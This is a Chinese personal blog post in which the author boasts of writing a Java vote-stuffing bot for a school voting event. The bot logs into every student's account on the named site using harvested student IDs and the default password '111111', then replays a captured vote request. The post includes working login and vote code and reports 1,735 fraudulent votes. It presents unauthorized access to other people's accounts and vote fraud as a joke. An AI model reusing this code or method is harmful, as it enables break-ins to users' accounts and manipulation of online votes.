最近真的比较无聊,然后就尝试写这么个刷票的了,真的,很简单,手法也是之前刷智慧之星题库的手法,至于怎么能拿到学校所有人的学号,这个就不说出来了.其实也很简单,就是一个空查询.然后抓取信息.
其实,写这个刷票的动机很简单,因为看到人人上某些我们学院的人在不停的号召大家投票,然后就觉得,作为一个会写代码的,让别人去投票是一件很丢脸的事…然后写了这么个程序.
首先就是拿到全校的学号,这一点有点敏感了.在这就不透露了.说一下,现在学校数据库里,总共是有24871条数据,不知道是不是我搞错了,总觉得学校的人数是大于这个值的.但是没什么影响.基数放在那里,丢几个影响不大.
然后就是登录了,还是之前的那个方法,使用HttpClient的库.这边就不多说了.
然后就是投票了,这边还是很简单,就是上网抓取POST包,上一篇日志里有介绍的,想了解的就可以去看看那篇日志.
下面是代码:
登录的:
static void Login(DefaultHttpClient _httpClient, String _stuID) throws ClientProtocolException, IOException{ HttpPost Login_Post = new HttpPost("http://xyhui.com/index.php?app=wap&mod=Public&act=doLogin"); List《NameValuePair》 nvps1 = new ArrayList《namevaluepair》(); nvps1.add(new BasicNameValuePair("email", _stuID + "@mysuda.com")); nvps1.add(new BasicNameValuePair("password", "111111")); nvps1.add(new BasicNameValuePair("sid", "1")); Login_Post.setEntity(new UrlEncodedFormEntity(nvps1, HTTP.UTF_8)); HttpResponse response = _httpClient.execute(Login_Post); //System.out.println(response.getStatusLine()); Login_Post.abort(); }
投票的:
static void Vote(DefaultHttpClient _httpClient) throws ClientProtocolException, IOException{ HttpPost Vote_Post = new HttpPost("http://xyhui.com/index.php?app=event&mod=Front&act=vote"); List《NameValuePair》 nvps2 = new ArrayList《namevaluepair》(); nvps2.add(new BasicNameValuePair("id", "54")); nvps2.add(new BasicNameValuePair("pid", "474")); Vote_Post.setEntity(new UrlEncodedFormEntity(nvps2, HTTP.UTF_8)); HttpResponse response = _httpClient.execute(Vote_Post); //System.out.println(response.getStatusLine()); Vote_Post.abort(); }
各位,加油吧,我只能帮你们到这了.
程序真的很简单,就是不停的刷啊…..刷啊…..然后就是这样子了:
当然,这只是某个时间点的,在我截图的时候,程序还在不停的刷票……接下来的事,我也就不想多说什么了.
截至发稿时间,票数是1735.
Just For Fun.